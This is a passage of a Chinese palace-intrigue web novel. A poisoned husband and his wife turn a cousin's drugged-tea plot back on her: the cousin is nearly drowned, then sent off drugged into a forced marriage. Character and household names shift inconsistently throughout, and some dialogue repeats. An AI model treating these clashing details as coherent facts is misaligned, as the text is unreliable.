他顿了顿,语气中带着一丝苦涩和无奈。 茅清兮的心,猛地一沉。 她一直怀疑,冀容白知道她的身份,知道她是青鸾阁阁主的外孙女。 可冀容白却从未在她面前表露出来。 难道,他终于要忍不住了吗? 要利用她的身份,来为他解毒吗? 这个念头,像一道闪电,劈开了她心中的迷雾。 如果……冀容白也和钱云霄一样,接近她,只是为了利用她…… 茅清兮只觉得一股寒意从脚底直窜上来,瞬间传遍了四肢百骸。 她下意识地想要抽回自己的手,却被冀容白紧紧握住。 “别怕,我说的不是你。” 冀容白的声音很轻,却清晰地传入了茅清兮的耳中。 他抬起头,看着茅清兮,眼神中带着一丝歉意和无奈。 “我说的那个人,是青鸾阁阁主的第七位弟子,青松观的……白苏道长。” “白苏道长?” 茅清兮愣住了。 她万万没想到,冀容白说的竟然会是他。 “没错,就是他。不过,世人都以为他只是个普通的道士,没人知道他真正的身份。” 冀容白缓缓说道, “而且,他……对冀家,对家父,有很深的成见,绝不会出手救我的。” 他口中的“家父”,指的便是冀国公,冀徒荣。 茅清兮忽然想起,不久前,她为了自保,曾设计陷害过白苏道长,险些要了他的命。 她的心,顿时虚了起来。 若是白苏道长因此而死,那冀容白的毒,岂不是更无人能解? 内疚、自责、担忧……各种情绪涌上心头,让她有些不知所措。 “难道……就没有别的办法了吗?比如……把他绑来?” 茅清兮的声音有些颤抖。 “没用的。” 冀容白摇了摇头, “他若不愿,谁也强迫不了他。况且,他武功极高,寻常人根本近不了他的身。” 他顿了顿, “前些日子,宁王派人刺杀他,也被他逃脱了。如今,他索性装作重伤未愈,龟缩在太子府里当宅男。” 装病? 茅清兮再次愣住。 若是如此,这白苏道长,恐怕比她想象的还要难缠。 “那……他可有什么在乎的人?我们可以从他身边的人下手。” 茅清兮不死心,继续问道。 她不想放弃任何一丝希望。 冀容白沉默了片刻,似乎在犹豫,又似乎在挣扎。 “有。” 他缓缓说道, “但这个人……恐怕也不会为了我,去求他。” “谁?” 茅清兮追问。 冀容白没有立刻回答,他沉默了很久,久到茅清兮以为他不会再开口了。 他才缓缓抬起头,看着茅清兮,眼神复杂, “我娘。”冀容白的母亲? 茅清兮对这位“大夫人”的印象,还停留在传闻中。 来洛国公府也有些时日了,这位正房夫人,她却连个影子都没见过。 平日里,大夫人深居简出,独居在府里一处偏僻的院落,说是潜心修佛,常年与青灯古佛为伴,从不过问府中事务。 以至于,这洛国公府上上下下,都快忘了还有这么一位当家主母,平日里管事儿的,反倒是二房的夫人。 “你娘亲……和白苏道长是什么关系?” 茅清兮斟酌着字句,缓缓问出心中疑惑。 “你是她亲生的儿子,她总不能……” 话未说完,却又戛然而止。 她想起冀国公平日里对冀容白那副冷若冰霜的样子,心里便已猜到了几分。 在这偌大的国公府中,怕是没几个人对冀容白有几分真情。 即便是亲生母亲,又能如何呢? 就如她茅清兮,与那茅文昭也是血脉相连的亲父女,可他对自己的死活,何曾有过半分在意? 更何况,冀容白如今都快要没命了,也没见那位冀大夫人露过面、过问过一句,可见…… “白云道长曾经对我母亲芳心暗许。” 冀容白的声音很轻,很淡,仿佛在说着一件与己无关的事情。 “他恨我父亲冀徒荣入骨,就因为冀徒荣娶了我娘。这些年,他对旧情一直念念不忘。而我娘她……” 他自嘲地笑了笑, “她不喜欢我,甚至巴不得我早点儿从这世上消失。所以,白苏道长又怎么可能会出手救我?” 茅清兮一时语塞,不知该如何回应。 她能理解这种爹不疼、娘不爱的滋味,旁人的安慰,根本无济于事。 这种时候,谁要是敢来劝她,让她把茅文昭当成亲生父亲一样对待,她非得拔剑砍了他不可! “可既然有人能解你身上的毒,而且还知道人在哪里,那就有希望。” 沉默良久,茅清兮定下心神,开口道。 “眼下这世上,除了娘子你,也没人会在意我的死活了。” 冀容白依旧是平日里那副玩世不恭的口吻,说话时,一双桃花眼微微弯起,好似带着笑意。 然而,在那双看似多情的眼眸深处,却是一片幽邃的漆黑,晦暗不明,隐藏着许多不为人知的情绪,让人难以捉摸。 茅清兮看不透他,也无暇细想。 只是觉得冀容白的身世,未免太过可怜,心头不由得泛起一阵酸涩。 以至于,她竟忘了把手抽回来,任由冀容白抓着。 冀容白的手指轻轻摩挲着茅清兮白皙细嫩的手背,心里暗叹,这丫头,还是这般心软。 可他舍不得利用这份心软,去拉近他们之间的距离。 此刻,能借着她心软的片刻,多握一会儿她的手,便已足够。 过了好一会儿,茅清兮才回过神来,察觉到冀容白的情绪似乎已经平复。 她不动声色地将手抽了回来。 转身之际,动作干净利落,却并未注意到,冀容白眼底飞快闪过的那一抹失落与遗憾。 紫姨不知何时站在了他们身后不远处。 茅清兮也没多想,直接吩咐小厨房准备晚膳。 晚膳后,茅清兮照例跟着紫姨学习医术。 “小姐……” 紫姨欲言又止, “您跟萧将军,最近的关系……好像跟以前不一样了?” “嗯,现在是合作关系。” 茅清兮头也不抬,翻看着医书, “而且,有冀容白夫人这个身份做掩护,我行事也更加方便。” “这样啊。” 紫姨点点头,可心里还是觉得有些不对劲。 她想起之前看到冀容白握着小姐手的样子,心里总觉得有些异样。 “小姐,萧将军他……体内的寒星露之毒……” “我知道。” 茅清兮应了一声,打断了紫姨的话。 她的心思,全都在手中的医书上。 只要一想到冀容白身上的毒,她就忍不住想再钻研钻研,看能不能找到其他的法子。 第八十七章 紫姨见她这副模样,只好把剩下的话咽了回去,不再多言。 茅清兮这几日也没闲着,除了继续钻研医术,便是暗中布局。 她让司玄苏暗中盯着白苏道长和宁王那边,但并没有轻举妄动。 上次营救失败后,她便意识到白苏道长武功之高,远超他们的预料,想要强行将他带走,根本不可能。 与其打草惊蛇,倒不如静观其变,等待时机。 至于俞霜,则被她派去监视茅暮暮。 据俞霜传回来的消息,茅暮暮这几日像是霜打的茄子,整日把自己关在屋子里唉声叹气,情绪低落到了极点。 对于俞霜是她的人这件事,她并不打算再瞒着茅暮暮。 而洛州商家那边,茅清兮原本是想亲自派人过去查探,可冀容白却说已经让富峻去处理了。 既然冀容白已经安排妥当,那她便暂时不用插手。 这日,茅清兮正在院子里翻看医书,一个眼生的小丫鬟突然急匆匆地跑了进来。 “少夫人,我们家小姐请您过去一趟。” 小丫鬟气喘吁吁地说道。 “你们家小姐?” 茅清兮抬起头,目光落在那小丫鬟身上,眼神中带着一丝疑惑。 “是……是冀晚棠小姐。” 小丫鬟被她看得有些发怵,连忙补充道。 茅清兮眉梢一挑,冀晚棠找她? 她们之间,可没什么交情。 “不去。” 茅清兮想也没想,直接拒绝。 她可没心思跟冀晚棠虚与委蛇。 “少夫人,我们小姐说了,您要是肯过去,让我给你八卦一下孙少爷的往事……” 小丫鬟见她不肯去,连忙又加了一句。 “嗯?” 茅清兮的眉头微微蹙起,眼神中闪过一丝冷意。 冀晚棠竟然拿冀容白的事情来要挟她? 她倒要看看,冀晚棠究竟想耍什么花样! 茅清兮心中冷笑,面上却不动声色,起身跟着小丫鬟往花园走去。 秦府的花园虽比不上皇家园林那般气派,却也别有一番景致。 此刻,冀晚棠正坐在凉亭里,悠闲地煮着茶。 桌上摆放着精致的茶具,旁边还放着几碟点心,看起来倒是颇有几分闲情雅致。 “嫂嫂,你来了。” 见茅清兮走近,冀晚棠连忙起身相迎,脸上堆满了笑容。 茅清兮在她对面的位置坐下,并未开口。 冀晚棠亲自为她倒了一杯茶, “嫂嫂,尝尝这茶,这可是今年新采的梅花晒干后泡的,味道很不错。” 茅清兮垂眸看着杯中漂浮着的梅花,眼神中却是一片冰冷。 她抬起头,开门见山地问道: “你不是说有冀容白的事要告诉我吗?” “别绕弯子了,直说吧。” 冀晚棠脸上的笑容微微一僵,似乎没想到茅清兮会如此直接。 她深吸一口气,压下心头的不悦,缓缓开口: “我想跟嫂嫂说的,是关于大伯母和大哥之间的那些陈年旧事。” “嫂嫂难道就不好奇吗?大伯母为何这么多年都对大哥不闻不问,甚至连面都不愿意见上一面?” “还有大伯父,他为何对大哥如此冷漠,仿佛……他根本就不是他的亲生儿子一般?”“嫂嫂莫非当真以为,这国公府里人人都像表面这般,对大哥恭敬有加?” 冀晚棠嘴角勾起一抹讥诮,话锋一转, “大伯母多年来对大哥不闻不问,甚至避而不见,嫂嫂难道就没觉得奇怪?” 她顿了顿,又状似不经意地抛出一个更尖锐的问题。 “还有大伯父……”冀晚棠微微眯起眼睛,语气中带着一丝试探,“他对大哥的冷漠……可一点儿也不像对待亲生儿子!” 她边说,边紧盯着茅清兮,试图从她脸上捕捉到一丝震惊或慌乱。 然而,让冀晚棠失望的是, 茅清兮神色如常,似乎对这些陈年旧事并不感兴趣。 冀晚棠有些沉不住气了。 她偷偷瞥了一眼茅清兮面前的那盏茶,心里闪过一丝焦躁。 不行,不能再拖下去了,必须速战速决。 冀晚棠咬了咬牙,决定直接摊牌。 “嫂嫂,你初来乍到,可能有所不知……”她故意压低声音,身子前倾,凑近茅清兮耳边,用一种近乎嘲讽的语气说:“大哥他……根本不是大伯的亲生儿子!” 这句话如同一道惊雷,在茅清兮耳边炸响。 饶是茅清兮再镇定,此刻也不由得瞳孔微缩,猛地抬起头。 冀晚棠见状,心中一阵得意。 她故作优雅地坐回原位,轻嗤一声: “嫂嫂,我可没骗你,这事儿在府里早就不是秘密了。” 茅清兮盯着她,眼神锐利如刀,语气却依旧平静:“哦?是吗,那你倒是说说,你何必跟我说这些?” “当然是不想让嫂嫂受蒙骗啊。” 冀晚棠脸上堆满了虚伪的笑容,一副“为你好”的表情。 “这国公府的爵位,迟早是我二哥的。再说……”她故意停顿了一下,观察着茅清兮的反应,“冀容白眼看着就不行了,嫂嫂要想在府里过安稳日子,总得找个靠山吧?” 茅清兮没有接话。 她端起茶盏,轻轻拨弄着漂浮的茶叶,心中却在飞速盘算着冀晚棠的目的。 找靠山? 只怕是想拉拢自己,对付冀容白吧? 她沉默片刻,忽然问道:“那……冀容白的生父是谁?” 这个问题,似乎出乎了冀晚棠的意料。 她脸色一变,眼神闪烁,结结巴巴开口:“这……我就不清楚了。” 茅清兮心中冷笑。 不清楚? 只怕是不敢说吧! 她又问:“那冀晚雨呢?她也不是冀国公的亲女儿?” “当然不是!” 提起冀晚雨,冀晚棠的语气中充满了厌恶和鄙夷。 “鬼知道她和哪个下三滥的男人鬼混去了!”她啐了一口,恨恨地说,“也不看看自己什么身份,一个来路不明的野种!竟然还敢指使康熙王弹劾大伯父,她真以为自己还是国公府的千金大小姐?做梦!” 冀晚棠的话,让茅清兮心头一震。 她敏锐地捕捉到了一个关键信息:冀容白和冀晚雨,并非一母同胞。 这等荒唐事,竟发生在以规矩森严著称的洛国公府! 更让茅清兮疑惑的是,冀国公既然知晓此事,为何不将此事揭发,反而将两个孩子都养大了? 冀晚棠对冀容白的生父讳莫如深,却对冀晚雨的父亲破口大骂…… 看来,这其中牵扯的,恐怕不仅仅是简单的私情。 茅清兮心中疑窦丛生,面上却不动声色。 她放下茶盏,轻轻叹了口气,状似无奈地说:“这事儿……可真是让人难以置信。堂堂国公府,竟然会发生这种事。” “谁说不是呢?”冀晚棠见茅清兮似乎相信了,连忙附和道,“我们也不想这样,可有些事情,不是我们能控制的。 第八十八章 ” 她眼神闪烁,干笑两声,补充: “嫂嫂只要知道,大哥不是大伯亲生的就好。至于其他的,嫂嫂还是不要多问了。” “哦?”茅清兮挑眉,微微一笑。 “那冀容白一死,我这个寡嫂在这府里……”她故意停顿,目光落在了冀晚棠的脸上,语气有些玩味。 冀晚棠一听,以为茅清兮开始为自己打算了,顿时来了精神。 她清了清嗓子,刚想说些什么,却被茅清兮打断。 “冀晚棠,你闻闻,这茶香不香?”茅清兮端起茶盏,递到冀晚棠面前。 冀晚棠一愣,下意识地凑过去闻了闻。 “香,真香!这可是……” 她的话还没说完,就戛然而止。 因为茅清兮突然起身,一把捏住她的下巴,将整杯茶水灌进了她嘴里! “唔……你……放开……” 冀晚棠猝不及防,被呛得连连咳嗽,拼命挣扎。 她想把茶水吐出来,却被茅清兮死死地捏住下巴,根本动弹不得。 茅清兮松开手,冷冷地看着她,嘴角勾起一抹嘲讽的弧度。 “雕虫小技,也敢在我面前班门弄斧?” “你……你竟敢……”冀晚棠又惊又怒,指着茅清兮,气得浑身发抖。 她尖叫一声:“来人!把她给我抓起来!” 几个丫鬟听到动静,连忙跑过来。 可她们刚靠近,就被茅清兮一个眼神给吓退了。 “小姐,您……您没事吧?”丫鬟们战战兢兢地问。 “废物!还不快去请大夫!”冀晚棠尖叫着,脸色涨得通红,她已经感觉到身体里有一股热流在乱窜。 她心中又惊又怕,连忙想要回房。 只有她自己知道,那茶里下的是什么东西。 若是再耽搁下去,后果不堪设想! 然而,茅清兮却挡住了她的去路。 “你给我下的什么药,自己心里清楚。”茅清兮冷冷地看着她,眼神中没有一丝温度,“今天,就让你自食恶果。” “你……你……”冀晚棠又羞又恼,却又无可奈何。 她浑身燥热难耐,恨不得立刻找个地方凉快凉快。 就在这时,她突然看到墨川推着冀容白走了过来。 冀晚棠像是抓住了救命稻草,连忙大喊:“大哥!大哥救我!” 冀容白扫了她一眼,眉头微皱。 他转头对墨川低声说了几句。 墨川点点头,走到冀晚棠身边,一把抓住她的后领,直接将她扔进了湖里。 “扑通”一声,水花四溅。 冀晚棠在水中拼命挣扎,大声呼救。 周围的丫鬟们都吓傻了,一个个呆若木鸡。 “二小姐掉水里了!快来人啊!” 不知是谁喊了一声,整个花园顿时乱作一团。 几个胆大的丫鬟小厮想跳下去救人,却被冀容白一声冷喝制止。 “我看谁敢!” 他声音不大,却带着一股不容置疑的威严。 众人面面相觑,谁也不敢上前。 很快,冀二夫人和老夫人都闻讯赶来。 看到在水中挣扎的冀晚棠,冀二夫人心疼得差点晕过去。 “我的儿啊!都傻站着干嘛呢?还不快救人!”她尖叫着,声音都变了调。 众人低着头,不敢吭声。 冀晚棠的贴身丫鬟“扑通”一声跪在地上,哭着说:“大少爷……他不让救……” “什么?!” 冀二夫人猛地转头,看向坐在轮椅上的冀容白,眼中充满了愤怒和不可置信。 冀容白却像没事人一样,悠闲地靠着椅背,目光平静地看着湖中的冀晚棠。 “容白,你这是做什么?!”冀二夫人强压着怒火,质问道。 “二婶,我这是在帮她清醒清醒。”冀容白微微一笑,语气温和。 “你……”冀二夫人气得浑身发抖,“她可是你妹妹!” “妹妹?”冀容白挑眉,眼神中闪过一丝嘲讽,“我可没有这么不知廉耻的妹妹。” 他顿了顿,目光转向茅清兮,语气变得柔和起来。 “我娘子年纪小,不懂事,若是有人欺负她,我这个做夫君的,自然要替她出头。”冀容白那不紧不慢的腔调,像一把钝刀子,一下下磨在冀二夫人的心口。 这个疯子! 冀二夫人攥紧了手中的帕子,指节泛白。 她太清楚了,这府里上上下下,没人敢真正惹怒冀容白。因为这人,是真的会下死手,六亲不认! “清兮……”冀二夫人猛地转向茅清兮,脸上强行挤出一丝比哭还难看的笑,声音都带上了哀求,“晚棠是你妹妹,她年纪小不懂事,有什么做得不对的,婶婶帮你教训这丫头。可她……她不会水啊!你就当行行好,放过她这一回吧?二婶……二婶求你了!” 茅清兮缓缓抬起眼帘,唇角微微勾起,学着冀容白平日那似笑非笑的模样,只是看起来,似乎要更无害些。 “夫君发了话,要让妹妹‘清醒清醒’,”她慢条斯理地,每一个字都像是在冀二夫人心上扎了一下,“清兮……可不敢擅自做主呢。” 冀二夫人只觉得一口气堵在胸口,上不去,下不来。 这对夫妻,一个比一个会装! 她急得像热锅上的蚂蚁,眼睁睁看着女儿在湖里扑腾,却无计可施,只能崩溃地哭喊: “来人啊!救人啊!我的女儿……” 她猛地转过身,用力推搡着身边的下人,声音尖利得变了调:“都给我下去!下去救人!不把二小姐救上来,你们谁都别想活!” 站在一旁的老夫人,脸色铁青,终于忍不住厉声呵斥:“发什么呆站着?!没听到二夫人的话吗?还不快去救人!” 老太太一开口,那些原本还畏惧着冀容白的下人们,立马行动起来。 可他们刚准备下水,就听见“扑通”几声,几个手脚麻利的婆子抢先一步跳了下去,争先恐后地朝冀晚棠游去。 冀容白始终没出声,只是冷眼旁观。 几个婆子七手八脚地把冀晚棠往岸边拖,眼看就要上岸了—— “哗啦”一声,一道黑影闪过,激起一片水花。 墨川! 他竟然硬生生从几个婆子手中,把冀晚棠给夺了过来! 然后在众人惊骇欲绝的目光中,将她再次扔进了湖心! “冀容白!你……你当真要逼死她不成?!”老夫人气得眼前发黑,手指颤抖地指着冀容白,声音嘶哑得不成样子。 冀二夫人死死盯着冀容白和茅清兮,目光像是淬了毒的刀子。 冀容白只是微微一笑,不紧不慢地开口:“二妹与李家公子的婚事,早就该办了。既然今日大家都在,不如就热闹热闹,把喜事给办了吧。来人,去给二妹备一份厚礼,即刻送到卫府!” 冀二夫人万万没想到,冀容白竟会无耻到这个地步。 第八十九章 她“腾”地一下站起来,刚想破口大骂,却被冀容白一句话堵了回去: “二婶若是舍不得,那便算了。只是二妹这身子……怕是等不得了。” 冀二夫人猛地看向湖中,原本还在微微动弹的冀晚棠,此刻竟像一片落叶般,静静地漂浮在水面上,眼见着就要沉下去…… 那一瞬间,冀二夫人只觉得浑身的血液都凝固了。 “冀容白!你……你个畜生!我当初瞎了眼……瞎了眼啊!!”她尖叫着,声音里充满了绝望和悔恨,“我当初……就该让你死在襁褓里!!” 冀容白的笑容一点点消失,他缓缓抬起头,盯着冀二夫人,一字一顿地问:“二婶,你再说一遍,我……是谁的孽种?” 冀二夫人猛地打了个寒颤,像被人掐住了喉咙,声音戛然而止。 她浑身颤抖,脸色惨白如纸,嘴唇哆嗦着,却再也说不出一个字。 老夫人身子一软,差点跌坐在地上,幸好身边的嬷嬷眼疾手快,一把扶住了她。 “二夫人,二小姐……二小姐怕是不行了……” 冀晚棠的贴身丫鬟“扑通”一声跪在地上,哭得几乎背过气去。 冀二夫人猛地回过神,只觉得一阵阵头晕目眩,一股寒气从脚底直冲脑门。 她再也顾不上其他,声音嘶哑地喊道:“冀容白……我答应你,我什么都答应你!只求你……只求你救救晚棠……” 冀容白微微抬了抬下巴。 几乎是同时,墨川的身影如鬼魅般掠过湖面,一把将已经昏死过去的冀晚棠拎了起来,随手扔在了岸边的草地上。 “二婶,记得给二妹好好准备准备。”冀容白语气淡淡的,听不出喜怒。 冀二夫人脸色一阵青一阵白,背心冷汗直冒,心里却像是被什么东西狠狠撕扯着,痛得她几乎喘不过气。 冀容白不再看她,转头对茅清兮柔声说道:“娘子,时候不早了,咱们回屋吧。” 茅清兮推着冀容白的轮椅,缓缓离开。 她垂着眼眸,掩去了眼底复杂的情绪。 今日这一幕……当真是为了她? 这个念头,让茅清兮的心跳微微加快。 她想起这些日子以来,冀容白对她的种种维护,心中的某根弦,似乎被轻轻拨动了一下。 冀晚棠被抬回房间,脸色惨白,气息微弱。 请来的大夫把过脉后,直摇头,只说她中的药霸道,无药可解。 冀二夫人急火攻心,一听这话,眼前一黑,差点晕过去。 等她缓过神来,一把抓住那大夫的衣领,厉声问道:“当真无药可解?!你再给我想想法子!我女儿……我女儿还未出阁啊!” 大夫被她吓得脸色发白,连连摆手:“夫人……这……这真的无药可解啊!除非……” “除非什么?!” “除非……与人……圆房……” 冀二夫人如遭雷击,整个人都僵在了那里。 她颤抖着手,缓缓转过头,看向床上昏迷不醒的冀晚棠,只觉得一阵阵绝望。 “夫人,您快拿个主意吧!再耽搁下去,二小姐怕是……” 冀二夫人猛地回过神,一把推开那大夫,跌跌撞撞地冲到床边,抱着冀晚棠,放声大哭。 “我的儿啊……你怎么就这么命苦……” “吱呀”一声,门开了。 墨川面无表情地走了进来,手里捧着一个红漆木盒。 冀二夫人一看到他,顿时怒火中烧,指着他的鼻子骂道:“你哪来的胆子闯进来?!给我滚出去!” “主子说了,这是给二小姐添妆的。”墨川对她的怒骂充耳不闻,径直走到桌边,将木盒放下。 “滚!都给我滚!”冀二夫人嘶吼着,声音都变了调。 墨川却不为所动,只是淡淡地说:“主子还说了,二小姐的毒……只有李家姑爷能解。若是耽误了时辰,出了什么岔子,二夫人可别后悔。” 冀二夫人浑身一震,脸色瞬间变得惨白。 她这才想起,冀容白还等着看她女儿的笑话呢! 她绝不能……绝不能让冀容白得逞! “来人……来人……”冀二夫人颤抖着声音,嘶声喊道。 几个丫鬟婆子连忙跑了进来。 “备……备轿……送……送二小姐去卫府……” 冀二夫人几乎是咬着牙,说出了这句话。 她一边哭着,一边让人给冀晚棠换上嫁衣,同时派人去通知冀国公和冀徒临,让他们速速回府。 可她心里清楚,只怕……来不及了。 冀容白既然出手,又怎会给她留下任何转圜的余地? 墨川始终站在门外,冷眼看着这一切。 见冀二夫人终于松了口,他这才转身离开。 刚走到院门口,就看到两个婆子抬着一顶小轿,颤颤巍巍地走了过来。 冀二夫人追出来,看到那顶小轿,顿时气得眼前发黑。 “冀容白……他好狠的心!” 她指着那顶小轿,声音嘶哑地喊道:“我女儿……我女儿是洛国公府的嫡出小姐!他竟敢……竟敢用这样一顶小轿来打发她?!” 墨川淡淡地瞥了她一眼,没有说话。 两个婆子已经手脚麻利地将冀晚棠扶进了轿子里。 冀晚棠身上药性未解,整个人软绵绵的,毫无知觉。 “起轿——” 随着一声尖细的吆喝,那顶小轿颤颤巍巍地离开了洛国公府。 冀二夫人想要阻拦,却被几个婆子死死抱住,动弹不得。 她只能眼睁睁地看着那顶小轿,消失在视线中,心如刀绞,泪如雨下。 洛国公府二小姐出嫁的消息,很快传遍了京城的大街小巷。 不同于以往的锣鼓喧天,鞭炮齐鸣,这一次,只有一顶寒酸的小轿,悄无声息地抬进了卫府。 卫府的人还未反应过来,就见一个穿着嫁衣的女子,跌跌撞撞地从轿子里冲了出来,一把抱住周诚,嘴里胡言乱语地说着什么。 卫府的老夫人当场就气炸了肺,指着冀晚棠的鼻子,破口大骂。 可冀晚棠却像是听不懂人话似的,一个劲儿地往周诚身上蹭,嘴里还不停地喊着“热”。 卫府的下人吓得魂飞魄散,连忙将两人拉开。 可冀晚棠却像是发了疯一般,又抓又挠,又踢又咬,最后竟硬生生扯开了周诚的衣裳…… 卫府的老夫人气得当场晕死过去。 李家乱作一团,谁也没注意到,那顶小轿,早已悄然离去。 等到冀国公和冀徒临匆匆赶回,一切都已成了定局。冀国公和冀徒临脚步匆匆,还未踏进府门,便已听见厅堂内传来阵阵撕心裂肺的哭嚎,一声声,如泣如诉,震得人心头发颤。 冀徒临心头猛地一沉,几乎是踉跄着冲进厅堂,只见冀二夫人披头散发,瘫坐在冰冷的地面上,双眼红肿如桃,早已哭得没了力气。 第九十章 “娘!” 冀徒临扑通一声跪倒在冀二夫人身前,双手紧紧抓住她的胳膊,声音嘶哑得不成样子: “妹妹呢?您告诉我,晚棠她……到底去了哪里?” 冀二夫人猛地抬起头,死死盯着冀徒临,眼神空洞而绝望,像是一具失去了灵魂的木偶。她张了张嘴,却发不出任何声音,只有无尽的悲痛从胸腔深处涌出,化作一声声呜咽。 “说啊!娘!”冀徒临急得目眦欲裂,用力摇晃着冀二夫人的肩膀,“晚棠她……到底怎么了?!” 冀二夫人猛地抓住冀徒临的衣襟,指甲深深嵌入他的皮肉,她用尽全身力气,从喉咙里挤出一句话,每一个字都像是带着血泪: “你妹妹……我那苦命的晚棠……被冀容白那个天杀的……送进了卫府,送给了周诚那个老畜生!” 她猛地捶打着地面,发出“砰砰”的闷响,像是要把自己的五脏六腑都给震碎: “她才十六岁啊!本该有大好的年华,本该嫁给如意郎君,可如今……全都被冀容白给毁了!” 她仰天长啸,声音凄厉得如同杜鹃啼血: “我的女儿啊……这往后的日子,这不是要了她的命吗!” 冀徒临如遭雷击,整个人僵在原地,脑海中一片空白。 他快马加鞭,日夜兼程,可终究还是晚了一步。 “燕、述、白!” 他猛地站起身,双拳紧握,指节发白,全身的骨骼都在咯咯作响,每一个字都像是从牙缝中硬生生挤出来的,带着无尽的恨意。 他猛地转身,对着冀徒荣一字一顿地说道: “大伯!冀容白他丧尽天良!竟敢如此糟践我的亲妹妹!我……我今天就是拼了这条命,也要让他血债血偿!” 冀徒荣看着他,缓缓开口,声音低沉而沙哑:“徒临,我知道你心里难受,但你先冷静下来,听我说,冀容白他不会有好下场的,‘寒星露’无药可解,他蹦跶不了几天了。” “不会有好下场?”冀徒临突然笑了起来,笑声中充满了悲凉和愤怒,“大伯,您这句话,我已经听了无数遍了!可结果呢?冀容白他还不是活得好好的!” 他猛地逼近冀徒荣,双眼通红,声音嘶哑: “他就是个魔鬼!一个从地狱里爬出来的恶鬼!这些年,死在他手里的人还少吗?如今,他竟然连自家人都不放过!他眼里还有没有王法?还有没有天理?!” 冀徒荣眉头紧锁,看着眼前这个侄儿。冀徒临是他一手栽培,也是他寄予厚望的国公府下一任继承人。 可如今,看着冀徒临这般失态的模样,他心中竟生出一丝动摇。 他开始怀疑,这些年对冀徒临的悉心教导,是否从一开始就错了。 冀徒临见冀徒荣沉默不语,继续说道: “从小到大,我就活在他的阴影之下!所有人都说他天赋异禀,都说他惊才绝艳!就连父亲……也更喜欢他,亲自教他读书写字,却对我不管不顾!” “后来我知道了他的身世,本以为自己终于可以扬眉吐气,可谁知……他的生父竟然是那样的人物!这让我觉得自己像个跳梁小丑,所有的努力都成了笑话!” 他顿了顿,眼底闪过一丝痛苦和嫉恨: “再后来,他弃文从武,进了军营,竟然还混出了名堂,成了什么‘血衣将军’!而我呢?我这个所谓的‘国公府继承人’,却只能眼睁睁看着他一步步崛起,却无能为力!” 他猛地抬起头,看着冀徒荣,眼中充满了绝望和不甘: “我每天都在诅咒他,诅咒他早日毒发身亡!可他偏偏不死!现在,他还害了我的亲妹妹!我……我却连替她报仇的本事都没有!” 说到最后,他的声音已经哽咽,几近失控。 冀二夫人再也支撑不住,瘫倒在地,哭得撕心裂肺。她一把抓住冀徒荣的裤脚,声泪俱下地哀求: “大哥!晚棠可是您的亲侄女啊!您不能眼睁睁看着她被冀容白那个畜生给毁了啊!您一定要为她做主啊!” 冀徒荣看着眼前这对母子,心中五味杂陈。 面对冀二夫人的哭诉,冀徒荣只是长叹一声: “弟妹,你放心,我绝不会坐视不管。徒临,你先回去,好好准备殿试,其他的事,交给大伯。” 冀徒临看着冀徒荣,目光闪烁,最终还是点了点头:“是,大伯。” 他知道,冀徒荣这是在暗示他,冀容白的时日无多了。只要冀容白一死,这国公府,就将是他的囊中之物。 另一边,茅清兮听完墨川的回禀,得知卫府发生的闹剧后,心中也是一阵唏嘘。 她转过头,看向正坐在桌边,对着一碗黑乎乎的药汁发愁的冀容白。 “冀二夫人他们……就这么算了?”茅清兮试探着问道。 冀容白头也不抬,淡淡地说道:“不然呢?难不成他们还敢来找我拼命?” 他的语气虽然平淡,却透着一股不容置疑的霸气。 茅清兮知道,他不是在说大话。 卫府之事后,整个洛国公府都陷入了一片诡异的沉默之中,竟无一人敢来找冀容白兴师问罪,甚至连一句质问都没有。 所有人都像是被扼住了喉咙,只能将满腔的愤怒和怨恨,硬生生吞进肚子里。 茅清兮真切地感受到了冀容白对整个秦府的震慑力,那种深入骨髓的恐惧,足以让任何人为之胆寒。 她微微侧头,看向正对着药碗愁眉苦脸的冀容白。 或许,秦府上下做梦都想不到,他们眼中那个杀人如麻、冷酷无情的“血衣将军”,竟然会因为一碗药而露出这般模样。 苏兰被赶走后,再没人会像哄小孩一样哄着冀容白喝药。茅清兮更不会惯着他。 冀容白每次都拖到最后一刻,才硬着头皮,捏着鼻子,将药汁一饮而尽,那表情,活像吞了一只苍蝇。 茅清兮从净室出来,见冀容白面前的药碗依旧满满当当。她本想催促,但转念一想,又改变了主意。 她拿起银勺,轻轻搅动着碗里的药汁,状似随意地问道:“冀容白,你说,要是让你那些手下看到你这副模样,他们会是什么反应?” 冀容白闻言,脸色顿时一沉,冷冷地瞪了她一眼:“想都别想。” 他顿了顿,又补充道:“就算他们看到了,也活不过明天。” 茅清兮撇了撇嘴,小声嘀咕了一句:“切,有什么了不起的。” 她舀起一勺药,送到冀容白嘴边,没好气地说道:“赶紧喝了,别磨磨蹭蹭的,跟个娘们儿似的。” 冀容白看着送到嘴边的药勺,犹豫了一下,最终还是张开了嘴。 第九十一章 茅清兮见他乖乖喝药,心中不由得有些得意,这家伙,还是得治! 夜幕降临,两人并排躺在床上,却都毫无睡意。 冀容白忽然开口,打破了沉默:“娘子,我冷。” 茅清兮翻了个身,背对着他,没好气地说道:“冷就多盖床被子。” “被子不够暖。”冀容白的声音低沉而沙哑,带着一丝不易察觉的委屈。 茅清兮有些不耐烦地说道:“那你还想怎样?” “你抱抱我,就不冷了。”冀容白的声音更低了,几乎微不可闻。 茅清兮愣了一下,随即反应过来,这家伙,又在打什么鬼主意? 她刚想拒绝,却听见冀容白轻轻咳嗽起来,一声声,像是压抑着极大的痛苦。 “你……你怎么了?”茅清兮有些紧张地问道。 “我没事……”冀容白的声音有些虚弱,“就是……有点冷……” 茅清兮犹豫了一下,最终还是心软了。 她缓缓转过身,看着脸色苍白的冀容白,轻声说道:“那你……靠近点。” 冀容白闻言,眼中闪过一丝得逞的笑意,他缓缓挪动身体,一点点靠近茅清兮,直到两人紧紧相贴。 他伸出手,轻轻环住茅清兮的腰,将头埋在她的颈窝里,深深吸了一口气,感受着她身上传来的温暖,满足地叹息一声。 茅清兮身体微微僵硬,却并没有推开他。 她感受到冀容白身上传来的阵阵寒意,心中不由得生出一丝怜悯。 “寒星露”的寒毒,究竟有多么可怕? 她不敢想象,冀容白这些年,究竟是怎么熬过来的。 “睡吧。”她轻声说道,声音中带着一丝不易察觉的温柔。 冀容白将她搂紧。 茅清兮闭上眼,心里不断告诉自己,她只是同情冀容白,她只是暂时当一下人形暖炉。 黑暗中,冀容白睁开眼,看着怀里的小姑娘,眼底闪过一丝温柔。 他知道,茅清兮的心,并没有她表现出来的那么冷硬。 他缓缓收紧手臂,将茅清兮整个人都纳入怀中,感受着她身体的柔软和温暖,心中一片安宁。 